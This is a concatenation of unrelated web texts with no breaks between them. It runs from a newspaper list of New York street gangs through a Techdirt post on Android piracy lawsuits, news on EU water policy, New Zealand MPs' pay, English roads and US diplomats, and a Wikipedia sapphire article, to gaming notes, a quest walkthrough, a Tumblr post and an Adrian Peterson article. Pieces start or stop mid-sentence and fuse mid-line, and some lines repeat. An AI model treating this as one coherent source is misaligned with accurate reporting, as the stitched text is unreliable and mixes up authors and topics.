Initiation: Applicants must learn the gang’s “seven steps” – its history (including all seven prisons in Puerto Rico), norms, colors, beads and prayer. They must say why they want to be a -eta and go “on probation” for a period of time before being “blessed in” during a meeting on March 30 of each year. That’s the date of the beating death in 1981 of founder Carlos Torres Iriarte, who is also known as “La Sombra,” or “The Shadow.”
Colors: Red, white and black
Emblems: Crossed index and middle fingers, with hand held up, palm in front. Tattoos with “N.D.C.” – -eta de Corazon, or -eta from the heart.
Slang: Their slogan is “150% de corazon”
7. NI-OS MALOS (BAD BOYS)
Members: 165
Ethnicity: Mexican
Origin: Close-knit and fierce, the gang has taken over parts of Sunset Park, terrorizing shopkeepers with extortion demands and threats, cops say. It first popped up in Sunset Park, Brooklyn, in the early ’90s, extorting businesses on Fifth Avenue, where a member bashed in the skull of a beloved local teacher who tried to stop the gang from throwing bottles at a store in 1996.
Turf: Sunset Park, Brooklyn
Crimes: Income is drawn from extortion and drug sales, but “most of the time, it’s gang-on-gang violence, assaults and robberies,” says an investigator.
Rivals: Latin King, Bloods, other Mexican gangs
Codes: Trumpet their activities over the Internet on sites such as MySpace and Bebo.
Initiation rites: Beat-ins or robberies
Colors: Red, white and green
Emblems: Tattoos of the gang name or a bearded devil figure with a cigarette and fedora
Slang: Leaders are called “mero mero drugs are “caca,” which also means poop in Spanish; guns are “cuetes.”
8. DOMINICANS DON’T PLAY
Members: Estimated in the hundreds
Ethnicity: Dominican
Origin: The fastest-growing gang in The Bronx, it also boasts one of the youngest memberships – most 15 to 17, cops say. Cops believe the gang was formed from two now-defunct Dominican street gangs in the ’90s. The gang is known to attack in groups as large as 40. Recruits heavily at high schools. Has an ongoing feud with the Bloods. Members carry machetes.
Turf: The Bronx
Crimes: Draws its income from robbery and some drug sales, and maintains a large presence at Brandeis HS and Washington Irving HS in Manhattan, and DeWitt Clinton HS in The Bronx. In March, a 16-year-old student was stabbed by DDP members at the Union Square subway. In May, a 12-year-old bystander was hit in the back during a shootout involving DDP at a party in the Fordham section of the Bronx.
Rivals: The Trinitarios, Bloods; Latin Kings; Mexican gangs.
Initiation: Beat-ins or attacking a rival gang member.
Colors: Red, white and blue, for the Dominican flag, and black.
Emblems: Beads on necklaces or bracelets.
9. THE TRINITARIOS
Members: Estimated in the hundreds
Ethnicity: Mostly Dominicans; some Puerto Ricans and other Hispanics
Origin: Recruiting heavily at high schools, the gang is into online trash talking and frequently battles DDP. Members favor bats and knives and attack in large numbers. Gang started out at Rikers in the ’90s.
Turf: Upper Manhattan and The Bronx
Crimes: In mid-October, a 15-year-old bystander was killed by crossfire and another teen shot when Trinitarios and rival DDP members opened fire on one another at West 134th Street and Broadway. The gang maintains a big presence at DeWitt Clinton HS.
Rivals: DDP
Initiation: Beat-ins
Colors: Red, white and blue
Emblems: Beads.
10. FLYING DRAGONS
Members: About 100
Ethnicity: Chinese
Origin: This gang of low-key, savvy businessmen started out in China in the early 1800s. Longtime leader Johnny “Onionhead” Eng lost his power after being arrested numerous times in the ’70s and ’80s. He was once considered one of the biggest heroin dealers in the U.S.
Turf: Chinatown
Crimes: Making it money mostly from drugs and protection rackets, the gang works with Chinatown tongs, using Vietnamese or other Chinese groups for its heroin dealing, loan-sharking and gambling.
Rivals: Ghost Shadows, Tung On, Born to Kill
brad.hamilton@nypost.comEntertainment Industry Embraces New Business Model: Suing Google For Third-Party Android Apps That 'Promote Piracy'
from the piracy:-keeping-lawyers-employed-since-1999 dept
[A]t a charity luncheon for the Entertainment Law Initiative, which was raising money for the Grammy Foundation, there was a thunderous applause from the audience, mostly comprised of attorneys, over a paper regarding Android applications the promote piracy wondering why no lawsuits had been filed against Google for secondary liability. Though most of the other papers admitted only received scattered applause, that one seemed to whip the crowd into a frenzy, indicating the possibility that industry lawyers are considering such a tactic in the near future.
[T]he room went nuts during videotaped remarks by Ryanne E. Perio, a student at Columbia Law School, who wrote about Android smartphone apps that facilitate piracy. During remarks describing her paper, Perio wondered aloud why offering those apps hadn't generated lawsuits against Android parent Google, for "secondary copyright infringement" - i.e. facilitating piracy.
Limewire
Who says the entertainment industry can't embrace new business models? From their ham-fisted attempts to make digital movie distribution less convenient than driving to the store and purchasing a DVD to their recent " collateral revamping " of various cloud services, the entertainment industry has never been more flexible.Plagiarism Today points us to the bold new direction the entertainment industry will be heading in the future. More specifically, a bold new direction the entertainment industry's lawyers will be headed.It's not an entirelydirection. Google is still the entertainment industry's favorite punching bag. But, hey, billable hours!billable hours! Surely that's reason for a standing ovation! And a platform switch! Exciting!A few more details emerged at the Wall Street Journal There seems to be no link to Perio's actual paper, entitled, "Policing The Android Market: Why The Expanding DMCA May Harbor Google From Liability For Illegal File-Sharing Apps Available On Android," so it's unclear whether Perio is referencing the official Android app store or simply broadbrushing (+4 troll points) Google as co-conspirators on any piece of software compatible with the Android platform.If it's the App Store angle, it's a bit like claiming Walmart is responsible for secondary infringement because they sell copies of Nero (not to mention computers, blank discs, cable modems and other tools of the pirate trade). If it's just because it's Google's platform, then it's about as meritous as suing Microsoft becauseFrostwire runs on Windows.Of course, a lack of merit has never stopped a lawsuit. And it certainly has never stopped lawyers from racking up expensive hours constructing a variety of legal Spruce Gooses. Sadder still, it has never stopped a court from rendering a ridiculous decision in favor of the even more ridiculous plaintiffs.
Filed Under: android, apps, secondary liability
Companies: googleBRUSSELS (Reuters) - The European Union’s executive pledged on Wednesday to improve access to clean water across the region, responding to a 1.9-million-strong petition from citizens demanding recognition of their right to water.
The “Citizens’ Initiative” is the first time ordinary Europeans have been able to influence legislation and provides a rare glimpse as to what many people expect of Brussels as the region prepares for EU elections.
The move follows a groundswell of opposition, from Germany to Portugal, to any sell-off of water supplies, a move citizens fear could push up prices or even result in cut-offs if they cannot afford to pay them.
“Europe’s citizens have spoken, and today the Commission gave a positive response,” said Maros Sefcovic, Vice-President of the European Commission.
“Water quality, infrastructure, sanitation and transparency will all benefit... as a direct result of this first-ever exercise in pan-European, citizen-driven democracy.”
The success of the initiative, which required citizens to register their passport number when signing the petition, is likely to be followed by others including a movement demanding action to protect the human embryo.
The European Commission, which drafts legislation for the 28-country bloc, said it would consult with the public about changing EU law. But The Right2Water campaign said its response was limp.
“The reaction of the European Commission lacks any real ambition,” said Jan Willem Goudriaan, vice-president of Right2Water. “I regret that there is no proposal for legislation recognizing the human right to water.”
Late last year, the Right2Water campaign submitted its proposal that this right should be enshrined in EU law and that public, not private companies should provide water.
More than half of its signatures came from Germany after the campaign received a lift when a local comedian argued against water privatization on television, reflecting wide public concerns over the selling-off of water companies.
Gerald Haefner, a Green lawmaker in the European Parliament, was also critical of the EU executive’s plan and said it must outline what steps it would take.
“The Commission’s response is vague and it must be swiftly followed up with concrete proposals,” he said.
The citizens’ initiative, designed to bring lawmaking closer to the EU’s 500 million people, requires 1 million signatures across at least seven EU countries - although it does not guarantee new legislation.
Some are rejected at the outset, including a campaign to have the European anthem sung in Esperanto, a made-up language that proponents believed would reinforce a common European identity.The Government clearly stuffed up new legislation to change MPs' pay in its haste to get it passed, the Green Party says.
Photo: RNZ / Alexander Robertson
The bill was to have been debated under urgency this week but has been sent back to the drafters for further work.
The legislation was to align MPs' pay to public sector pay rises after the Remuneration Authority determination last month gave MPs' a 3.5 percent payrise.
Prime Minister John Key insisted the delay was for technical reasons.
"It's to do with the Parliamentary Counsel Office's capacity to draft the technical issues around non-cash items.
"Now we can do it, but we just need to be absolutely sure it's technically right [because] we don't want to have to go back and fix it up," Mr Key said.
The Green Party calculated that the legislation would have actually resulted in larger pay rises.
Its co-leader Metiria Turei said the legislation was obviously pulled because it was full of embarrassing errors.
"The Government has stuffed up the legislation, they didn't get their maths right.
"Their bill would have increased MPs' pay by another $1000 this year, so they have to go back to the drawing board because they made such a massive mistake," she said.
But Workplace Relations Minister Michael Woodhouse said Ms Turei had again shown that not only did she not understand basic maths, but she didn't even understand her own pay slip.
He said the Greens |
,272 °F) for several hours, or by heating in a nitrogen-deficient atmosphere oven for seven days or more. Upon heating, the stone becomes more blue in color, but loses some of the rutile inclusions (silk). When high temperatures are used, the stone loses all silk (inclusions) and it becomes clear under magnification.[22] The inclusions in natural stones are easily seen with a jeweler's loupe. Evidence of sapphire and other gemstones being subjected to heating goes back at least to Roman times.[23] Un-heated natural stones are somewhat rare and will often be sold accompanied by a certificate from an independent gemological laboratory attesting to "no evidence of heat treatment".
Yogo sapphires sometimes do not need heat treating because their cornflower blue coloring is uniform and deep, they are generally free of the characteristic inclusions, and they have high uniform clarity.[24] When Intergem Limited began marketing the Yogo in the 1980s as the world's only guaranteed untreated sapphire, heat treatment was not commonly disclosed; by 1982 the heat treatment became a major issue.[25] At that time, 95% of all the world's sapphires were being heated to enhance their natural color.[26] Intergem's marketing of guaranteed untreated Yogos set them against many in the gem industry. This issue appeared as a front-page story in the Wall Street Journal on 29 August 1984 in an article by Bill Richards, Carats and Schticks: Sapphire Marketer Upsets The Gem Industry.[26]
Diffusion treatments are used to add impurities to the sapphire to enhance color. Typically beryllium is diffused into a sapphire under very high heat, just below the melting point of the sapphire. Initially (c. 2000) orange sapphires were created, although now the process has been advanced and many colors of sapphire are often treated with beryllium. The colored layer can be removed when stones chip or are repolished or refaceted, depending on the depth of the impurity layer. Treated padparadschas may be very difficult to detect, and many stones are certified by gemological labs (e.g., Gubelin, SSEF, AGTA).
According to United States Federal Trade Commission guidelines, disclosure is required of any mode of enhancement that has a significant effect on the gem's value.[27]
There are several ways of treating sapphire. Heat-treatment in a reducing or oxidising atmosphere (but without the use of any other added impurities) is commonly used to improve the color of sapphires, and this process is sometimes known as "heating only" in the gem trade. In contrast, however, heat treatment combined with the deliberate addition of certain specific impurities (e.g. beryllium, titanium, iron, chromium or nickel, which are absorbed into the crystal structure of the sapphire) is also commonly performed, and this process can be known as "diffusion" in the gem trade. However, despite what the terms "heating only" and "diffusion" might suggest, both of these categories of treatment actually involve diffusion processes.[28]
Mining [ edit ]
Sapphire from Madagascar
Sapphires are mined from alluvial deposits or from primary underground workings. Commercial mining locations for sapphire and ruby include (but are not limited to) the following countries: Afghanistan, Australia, Myanmar/Burma, Cambodia, China, Colombia, India, Kenya, Laos, Madagascar, Malawi, Nepal, Nigeria, Pakistan, Sri Lanka, Tajikistan, Tanzania, Thailand, United States, and Vietnam. Sapphires from different geographic locations may have different appearances or chemical-impurity concentrations, and tend to contain different types of microscopic inclusions. Because of this, sapphires can be divided into three broad categories: classic metamorphic, non-classic metamorphic or magmatic, and classic magmatic.[29]
Sapphires from certain locations, or of certain categories, may be more commercially appealing than others,[30] particularly classic metamorphic sapphires from Kashmir, Burma, or Sri Lanka that have not been subjected to heat-treatment.[31][32][33]
The Logan sapphire, the Star of India, and the Star of Bombay originate from Sri Lankan mines. Madagascar is the world leader in sapphire production (as of 2007) specifically its deposits in and around the town of Ilakaka.[34] Prior to the opening of the Ilakaka mines, Australia was the largest producer of sapphires (such as in 1987).[35] In 1991 a new source of sapphires was discovered in Andranondambo, southern Madagascar. That area has been exploited for its sapphires started in 1993, but it was practically abandoned just a few years later—because of the difficulties in recovering sapphires in their bedrock.[36]
In North America, sapphires have been mined mostly from deposits in Montana: fancies along the Missouri River near Helena, Montana, Dry Cottonwood Creek near Deer Lodge, Montana, and Rock Creek near Philipsburg, Montana. Fine blue Yogo sapphires are found at Yogo Gulch west of Lewistown, Montana.[25] A few gem-grade sapphires and rubies have also been found in the area of Franklin, North Carolina.[37]
The sapphire deposits of Kashmir are well known in the gem industry,[38] although their peak production took place in a relatively short period at the end of the nineteenth and early twentieth centuries.[39] They have a superior cornflower blue hue to them with a mysterious and almost sleepy quality, described by some gem enthusiasts as ‘blue velvet”. Kashmir-origin contributes meaningfully to the value of a sapphire, and most corundum of Kashmir origin can be readily identified by its characteristic silky appearance and exceptional hue.[40][41] The unique blue appears lustrous under any kind of light, unlike non-Kashmir sapphires which may appear purplish or grayish in comparison.[42] Sotheby's has been in the forefront overseeing record-breaking sales of Kashmir sapphires worldwide. In October 2014, Sotheby’s Hong Kong achieved consecutive per-carat price records for Kashmir sapphires - first with the 12.00 carat Cartier sapphire ring at US$193,975 per carat, then with a 17.16 carat sapphire at US$236,404, and again in June 2015 when the per-carat auction record was set at US$240,205.[43] At present, the world record price-per-carat for sapphire at auction is held by a sapphire from Kashmir in a ring, which sold in October 2015 for approximately US$242,000 per carat (HK$52,280,000 in total, including buyer's premium, or more than US$6.74 million).[43]
Synthetic sapphire [ edit ]
Synthetic sapphire
Synthetic star sapphire
In 1902, the French chemist Auguste Verneuil developed a process for producing synthetic sapphire crystals.[44] In the Verneuil process, named after him, fine alumina powder is added to an oxyhydrogen flame, and this is directed downward against a mantle.[45] The alumina in the flame is slowly deposited, creating a teardrop shaped "boule" of sapphire material. Chemical dopants can be added to create artificial versions of the ruby, and all the other natural colors of sapphire, and in addition, other colors never seen in geological samples. Artificial sapphire material is identical to natural sapphire, except it can be made without the flaws that are found in natural stones. The disadvantage of Verneuil process is that the grown crystals have high internal strains. Many methods of manufacturing sapphire today are variations of the Czochralski process, which was invented in 1916 by Polish chemist Jan Czochralski.[46] In this process, a tiny sapphire seed crystal is dipped into a crucible made of the precious metal iridium or molybdenum,[47] containing molten alumina, and then slowly withdrawn upward at a rate of 1 to 100 mm per hour. The alumina crystallizes on the end, creating long carrot-shaped boules of large size up to 200 kg in mass.[48]
Synthetic sapphire is also produced industrially from agglomerated aluminium oxide, sintered and fused (such as by hot isostatic pressing) in an inert atmosphere, yielding a transparent but slightly porous polycrystalline product.[citation needed]
In 2003, the world's production of synthetic sapphire was 250 tons (1.25 × 109 carats), mostly by the United States and Russia.[49][50] The availability of cheap synthetic sapphire unlocked many industrial uses for this unique material.
The first laser was made with a rod of synthetic ruby. Titanium-sapphire lasers are popular due to their relatively rare capacity to be tuned to various wavelengths in the red and near-infrared region of the electromagnetic spectrum. They can also be easily mode-locked. In these lasers a synthetically produced sapphire crystal with chromium or titanium impurities is irradiated with intense light from a special lamp, or another laser, to create stimulated emission.
Common applications [ edit ]
Windows [ edit ]
Cermax xenon arc lamp with synthetic sapphire output window
Synthetic sapphire—sometimes incorrectly referred to as sapphire glass—is commonly used as a window material, because it is both highly transparent to wavelengths of light between 150 nm (UV) and 5500 nm (IR) (the visible spectrum extends about 380 nm to 750 nm[51]), and extraordinarily scratch-resistant.[52][53]
The key benefits of sapphire windows are:
Very wide optical transmission band from UV to near-infrared, (0.15–5.5 µm)
Significantly stronger than other optical materials or standard glass windows
Highly resistant to scratching and abrasion (9 on the Mohs scale of mineral hardness scale, the 3rd hardest natural substance next to moissanite and diamonds) [40]
Extremely high melting temperature (2030 °C)
Single crystal sapphire boule grown by the Kyropoulos method. Approximately 200 mm diameter and approximately 30 kg. (A second boule is visible in the background.)
Some sapphire-glass windows are made from pure sapphire boules that have been grown in a specific crystal orientation, typically along the optical axis, the c-axis, for minimum birefringence for the application.[54][55]
The boules are sliced up into the desired window thickness and finally polished to the desired surface finish. Sapphire optical windows can be polished to a wide range of surface finishes due to its crystal structure and its hardness. The surface finishes of optical windows are normally called out by the scratch-dig specifications in accordance with the globally adopted MIL-O-13830 specification.[clarification needed]
The sapphire windows are used in both high pressure and vacuum chambers for spectroscopy, crystals in various watches, and windows in grocery store barcode scanners since the material's exceptional hardness and toughness makes it very resistant to scratching.[49]
It is used for end windows on some high-powered laser tubes as its wide-band transparency and thermal conductivity allow it to handle very high power densities in the infra-red or UV spectrum without degrading due to heating.
Along with zirconia and aluminium oxynitride, synthetic sapphire is used for shatter resistant windows in armored vehicles and various military body armor suits, in association with composites.
One type of xenon arc lamp – originally called the "Cermax" and now known generically as the "ceramic body xenon lamp" – uses sapphire crystal output windows. This product tolerates higher thermal loads and thus higher output powers when compared with conventional Xe lamps with pure silica window.[56][57]
Use as substrate for semiconducting circuits [ edit ]
Thin sapphire wafers were the first successful use of an insulating substrate upon which to deposit silicon to make the integrated circuits known as silicon on sapphire or "SOS"; now other substrates can also be used for the class of circuits known more generally as silicon on insulator. Besides its excellent electrical insulating properties, sapphire has high thermal conductivity. CMOS chips on sapphire are especially useful for high-power radio-frequency (RF) applications such as those found in cellular telephones, public-safety band radios, and satellite communication systems. "SOS" also allows for the monolithic integration of both digital and analog circuitry all on one IC chip, and the construction of extremely low power circuits.
In one process, after single crystal sapphire boules are grown, they are core-drilled into cylindrical rods, and wafers are then sliced from these cores.[citation needed]
Wafers of single-crystal sapphire are also used in the semiconductor industry as substrates for the growth of devices based on gallium nitride (GaN). The use of sapphire significantly reduces the cost, because it has about one-seventh the cost of germanium. Gallium nitride on sapphire is commonly used in blue light-emitting diodes (LEDs).[58]
Use for endoprostheses [ edit ]
Monocrystalline sapphire is fairly biocompatible and the exceptionally low wear of sapphire–metal pairs has led to the introduction (in Ukraine) of sapphire monocrystals for hip joint endoprostheses.[59]
Historical and cultural references [ edit ]
Etymologically, the English word "sapphire" derives from Latin sapphirus, sappirus from Greek σαπφειρος ( sappheiros ) from Hebrew סַפִּיר ( sappir ). Some linguists propose that it derives from Sanskrit, Shanipriya (शनिप्रिय), from "shani" (शनि) meaning "Saturn" and "priya" (प्रिय), dear, i.e. literally "dear to Saturn". [60]
, from Greek σαπφειρος ( ) from Hebrew סַפִּיר ( ). Some linguists propose that it derives from Sanskrit, (शनिप्रिय), from "shani" (शनि) meaning "Saturn" and "priya" (प्रिय), dear, i.e. literally "dear to Saturn". A traditional Hindu belief holds that the sapphire causes the planet Saturn (Shani) to be favorable to the wearer. [61]
The Greek term for sapphire quite likely was instead used to refer to lapis lazuli. [60]
During the Medieval Ages, European lapidaries came to refer to blue corundum crystal by "sapphire", a derivative of the Latin word for blue: "sapphirus". [62]
The sapphire is the traditional gift for a 45th wedding anniversary. [63]
A sapphire jubilee occurs after 65 years. Queen Elizabeth II marked her sapphire jubilee in 2017. [3]
The sapphire is the birthstone of September.
An Italian superstition holds that sapphires are amulets against eye problems, and melancholy. [64]
Pope Innocent III decreed that rings of bishops should be made of pure gold, set with an unengraved sapphire, as possessing the virtues and qualities essential to its dignified position as a seal of secrets, for there be many things "that a priest conceals from the senses of the vulgar and less intelligent; which he keeps locked up as it were under seal."[65]
Notable sapphires [ edit ]
See also [ edit ]
References [ edit ]An £11bn roads revolution that will see the creation of roadside wi-fi, new “expressways” and hundreds of miles of new smart motorways is to be announced next week, according to a report.
Eighteen of the busiest A roads will be turned into expressways or mini motorways by removing many junctions, restricting slow-moving traffic like bicycles and building exit and entrance lanes, The Times newspaper said. The first roads to be upgraded will be the A303 and A30 from the junction with the M3 to Exeter; the A1 north of Newcastle; the A14 from Huntingdon to Cambridge; the A556 between the M56 and M6; and the A46 between the A1 and M1.
Roadside wi-fi would be used to send traffic updates and other information to vehicles. Mast will be set up along roads such as the M2, M20, M25 and M26.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Some 400 miles of “smart motorways” would also be created. These operate with variable speed limits designed to keep traffic moving and can open the hard shoulder as an extra lane during busy periods.
The Highways Agency is also to become a new company owned by the Government called Highways England.
A Highways Agency spokesman said: “Innovation will be a major driving force behind everything that Highways England does over the next five years… These changes will improve journeys for our customers, boost safety and drive economic growth.”
Road traffic is expected to soar over the next few decades. Vehicles currently travel a total of about 274 billion miles, but this is forecast to rise to nearly 368 billion by 2040.
Stephen Glaister, director of the RAC Foundation, said expressways “might not be marked blue on the map but are often as busy, fast and important as motorways”.
“It is right they should be brought up to the same standards in terms of safety and traffic management,” he said.
However the new road projects could prove controversial.
Ralph Smyth, transport campaign manager with The Campaign to Protect Rural England, told The Times: “The focus of the roads programme should be consistently higher safety standards rather than pretending it is necessary to build four lanes of roads to every corner of the country.
“The reality is that in a country as densely populated as England, there will never be a guarantee of congestion- free motoring, however many more lanes are built.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowBarbara Stephenson, head of foreign service association, says US has lost more than half its career ambassadors since Donald Trump took office
The US has lost more than half its career ambassadors and a significant proportion of other senior diplomats since Donald Trump took office, the head of the foreign service association has said.
Democrats perturbed by Trump's threat of pre-emptive North Korea strike Read more
Barbara Stephenson, a former ambassador to Panama and charge d’affaires in London, said that the top ranks of US diplomacy were being “depleted at dizzying speed”, and the state department was under “mounting threats”.
Stephenson pointed to a hiring freeze that has reduced the intake into the foreign service from 366 in 2016 to an expected 100 in 2018, and a cut in the number of promotions. She said the number of career ambassadors (professional diplomats rather than political appointees) was down 60% since January, while the number of career ministers, one rank below, has declined from 33 to 19.
“Were the US military to face such a decapitation of its leadership ranks, I would expect a public outcry,” Stephenson wrote in a message to members of the American Foreign Service Association (AFSA). “The talent being shown the door now is not only our top talent, but also talent that cannot be replicated overnight. The rapid loss of so many senior officers has a serious, immediate, and tangible effect on the capacity of the United States to shape world events.”
The depletion in the strength of US diplomacy has been highlighted during Trump’s Asia trip. Despite the urgency of the looming confrontation on the Korean peninsula, the administration has yet to nominate an ambassador to Seoul.
The administration has announced it wants to cut the state department and international aid budget by nearly a third. Congressional leaders have rejected that proposal and ordered spending to be sustained at last year’s levels. But the secretary of state, Rex Tillerson, has gone ahead with his retrenchment plans, describing the reorganisation of the 35,000-employee department as “the most important thing I want to do during the time I have”.
He has hired consultants to help the “redesign”, and imposed a hiring freeze until that is completed at the end of the year.
In her letter as AFSA president, Stephenson said that interest in joining the foreign service was “plummeting”, with half the number of applicants taking the entry examination compared with 2016.
Meanwhile, the administration has filled less than half the 152 politically appointed positions at the state department, according to the Partnership for Public Service.
The majority of those positions are currently filled by career officials in a temporary capacity, including Susan Thornton, the acting assistant secretary for east Asian and Pacific affairs.
However, such senior acting officials frequently lack the clout that White House nomination and Senate confirmation confer. Their authority could be further undermined by the Vacancies Act, which only allows career officials to carry out top-ranking roles for a maximum of 300 days. That deadline is now looming for some high-ranking officials.
“You can just put another acting in place when the clock runs out, even if it’s not the ideal solution,” a state department official said.
A state department spokesman disputed some figures put forward by AFSA and questioned the significance of others.
He said 63 diplomats were waiting for congressional approval of their promotions and when that happened there would be 1,039 senior foreign service officers, only slightly below the total at the same point in 2016.
The spokesman also argued that the claim of a 60% reduction in the number of career ambassadors was misleading as applied to only a small number of individuals. There were only five of them at the beginning of the year and three had retired.
“The goal of the redesign has always been to find new ways to best leverage our team’s brains, ingenuity and commitment to serving our nation’s interests,” he said. “AFSA and other employee groups are important partners in the redesign effort. As has been said many times before, the freezes on hiring, promotions, are only temporary while we study how to refine our organisation.”Fire Emblem Warriors version 1.2 update launches November 16
New History Map, weapon attribute, and more.
The version 1.2 update for Fire Emblem Warriors will launch on November 16, Koei Tecmo announced. It will add a new History Map, weapon attribute, and more.
Here’s the full list of changes, via the official Japanese website:
History Map: “Hero Contest” Adds the new History Map “Hero Contest,” where Rowan and Lianna battle against various heroes in an arena setting. Weapon Attribute: “Armor Strike” Adds the new weapon attribute “Armor Strike.” The enemy hit by a weapon with this attribute will enter an Armor Break state that lowers their defense and resistance. However, if you are hit by the enemy with a strong attack, you will enter the Armor Break state. Disrobe When Rowan and Lianna enter the Armor Break state, their character models will change as to destroy the equipment they are wearing. New Costumes The “Gold Prince” costume has been added for Rowan, and the “Gold Princess” costume has been added for Lianne. Other Support for the free downloadable content “English Voice Pack” (available via the Nintendo eShop).
New Blessings have been added to the temple.
Bulk sale of weapons added.
Bug fixes.
Fire Emblem Warriors is available now for Switch and New 3DS.
View a new set of screenshots at the gallery.Include Japanese text in Paper Mario: The Thousand-Year Door text dump.
Add French and Spanish versions to Paper Mario: Sticker Star text dump.
Do a proper coded/raw text dump for Paper Mario: Sticker Star. (*The current version is a work-in-progress.)
Mario & Luigi: Superstar Saga
Mario & Luigi: Partners in Time
Mario & Luigi: Bowser's Inside Story
Mario & Luigi: Dream Team
The Legend of Zelda
Zelda II: The Adventure of Link
The Legend of Zelda: A Link to the Past
The Legend of Zelda: Link's Awakening
The Legend of Zelda: Ocarina of Time
The Legend of Zelda: Majora's Mask
The Legend of Zelda: Oracle of Seasons
The Legend of Zelda: Oracle of Ages
Okami
Okamiden
In my other thread, I was just starting out and had many questions about how to dump the text for these games. This thread, then, is for the finished product!I have no idea if anyone is interested in this sort of thing, but I remember whenever I'd finish a Zelda game, sometimes I'd want to see what all the text said (or certain parts of dialogue or menu descriptions, etc.). And since text dumps for most Zelda games are readily available online, I was good to go! I only discovered the Mario RPGs earlier this year, and upon finding out that there were no text dumps for these games online, I was highly disappointed. So I decided to take matters into my own hands. Below is the result.You can find all these under "Documents" at Romhacking.net as separate downloads (best if viewed with Notepad++ due to formatting issues). Or you can just click below to see them in your web browser. My documents at present fall into two categories: Raw (or coded) text dumps include the codes found with the text in the ROM, while clean dumps have those cleaned up so it's only the text that's left. In the future, I plan to add a third category for HTML text dumps, which will have each string of text in its own dialogue box and showcase the various text colors, sizes, effects, etc.Quest Points: 3
Difficulty: Very Easy
Location: Davos
Description: As magic got stronger in the land of Wyvern, the simple-thinking troglodytes and the magic users began to be more and more at odds. The mages delight in tormenting the troglodytes and the magic users began to be more and more at odds. The mages delight in tormenting the troglodytes for sport. The troglodyte’s prized possessions are their rocks. The earthen halls of the troglodyte king have been desecrated by a mischievous mage, who stole the troglodytes king’s favorite rock. Can you help them? To begin the quest, talk to the troglodyte king somewhere in the ruins north of Davos.
Prerequisites: Light source and x-ray recommend.
Challenges: Troglodytes and traps.
Rewards: None
Getting Started
Head to Davos. Go north, through and out of the main town. Go north one more map, through the forest, and enter the red and black crevice.
Troglodyte King’s Rock
Make your way north, through the corridors with all the Troglodytes. You will enter a room with the Troglodyte King and doors on all the surrounding walls. Mark one of the doors, so you remember which one you chose, and enter it. Continue through another corridor filled with Troglodytes until you exit into a map that resembles a beach. If this map does not have a brown rock sitting on the beach, return to the map with the Troglodyte King and repeat steps 3-5 with a different door. If this map does have a brown rock, grab it, and return to the Troglodyte King. Click on him to complete the quest.Okay I pretty much just moved to my Tumblr, which is why I haven't added anything. I'll still check up on here, but if you really want my attention, you'll have to get on Tumblr.
If you know me and follow me on Tumblr, make sure to tell me who you are so I can follow you back. <3 Or you don't have to follow me, but I would love to follow you! You know, whatever. If you DO follow me, I'm always open to do requests. I really do need to practice drawing more, even if it's just silly doodles. I usually just reblog. D:
So that's that, then! I'll see you guys on there!
(Remember, I am bachuqq!)
Watching: Diners Drive-ins and Dives
Diners Drive-ins and Dives Drinking: sweet teaVideo (05:55) : We look back at the career highs and lows of one of the greatest Vikings of all time.
The Adrian Peterson saga won’t be over until the most productive running back of this era squeezes his shiny, bald head into a football helmet and runs out onto an NFL practice field for the first time since last September. Whether that helmet will be purple or of another color remains to be seen, but a resolution appears to finally be close.
In the next few days — perhaps on Wednesday, the league’s long-targeted reinstatement date — the NFL might welcome Peterson back from his self-inflicted seven-month exile. And within a few weeks, it should be known whether he will resume his Hall of Fame-caliber career with the Vikings or start a new chapter elsewhere.
Given the circumstances that led to his suspension, the lingering animosity between Peterson and the franchise that drafted him seventh overall in 2007, the caliber of the player, the value of his contract and the track record of his most formidable future opponent — Father Time — this standoff has been unlike any other in NFL history.
Since the offseason started, the Vikings have said, more and more adamantly as time has passed, that they intend to begin the 2015 season with Peterson standing in the backfield behind young quarterback and future franchise face Teddy Bridgewater.
“I think it’s been very clearly stated that we want to have Adrian Peterson back,” General Manager Rick Spielman reiterated yet again in March. “There’s no question about the talent. He’s a unique talent and he’s under contract with us next year.”
But as the NFL draft nears, the trade chatter may become deafening, and perhaps a team will tempt the Vikings with an offer lucrative enough to change their minds.
In his latest step toward reinstatement, Vikings running back Adrian Peterson met with NFL Commissioner Roger Goodell for over three hours last week in New York.
One way or another, though, the situation should come to a head by the time the lights go out on the NFL draft on May 2.
Still a Viking
While publicly saying that they will welcome Peterson back, the Vikings have been patiently waiting for the NFL and Commissioner Roger Goodell to actually give them the opportunity. Peterson has been shuffled from the commissioner’s exempt list to the suspended list and back, but he will be eligible for reinstatement on Wednesday.
Before making a decision regarding Peterson’s reinstatement, Goodell wanted to meet face-to-face with Peterson for the first time since the running back was charged with abusing his young son in September and pleaded no contest to misdemeanor reckless assault in November. So Goodell summoned him to the league’s offices in New York for a meeting Tuesday that lasted over three hours.
The NFL has announced no official ruling regarding his status since then. But unless Goodell feels that Peterson has not met the terms of his suspension, which included the requirement that he speak with a league-assigned psychiatrist to design a counseling and therapy program, the expectation is that Peterson will be reinstated.
If he is, Peterson can then officially return to the Vikings for the first time since September.
His agent, Ben Dogra, recently said he thinks Peterson would be better off playing elsewhere. It is not known whether Peterson has formally demanded a trade. If he has, the Vikings have no obligation — and seemingly no desire — to grant that request.
“I’m not going to speculate on what he wants or doesn’t want. Adrian’s under contract for three more years with us, and that’s why you sign those contracts. That’s why you get these big bonuses, you know?” head coach Mike Zimmer said at last month’s NFL owners meetings, later adding emphatically, “We have no plans to trade Adrian.”
For starters, it would set a bad precedent to allow a star player and team leader to force his way out of town. Just as important, the Vikings, coming off a 7-9 season, believe the perennial Pro Bowl player still has at least one more productive year in him. And they believe that with a strong running game, they could be playoff contenders in 2015.
“I don’t think the Minnesota Vikings are going to make that trade,” said former Tampa Bay Buccaneers General Manager Mark Dominik, now an NFL analyst for ESPN. “The way the league is now, every team has a win-now mentality.”
Herschel Era is over
But if the Vikings are bluffing — which Dominik said could improve Peterson’s potential trade value, as opposed to saying that he is on the trade block — there is no better time than the draft to trade him away, according to former NFL agent Joel Corry, who writes about the business of football for CBS Sports.
“It would probably happen while on the clock because that’s when you might get a team that’s willing to give up more than they would previously,” Corry said. “You’d think [the Vikings] would want a 2015 draft pick, so if you’re going to see something get done, talks will heat up close to the draft or he will be traded during the draft.”
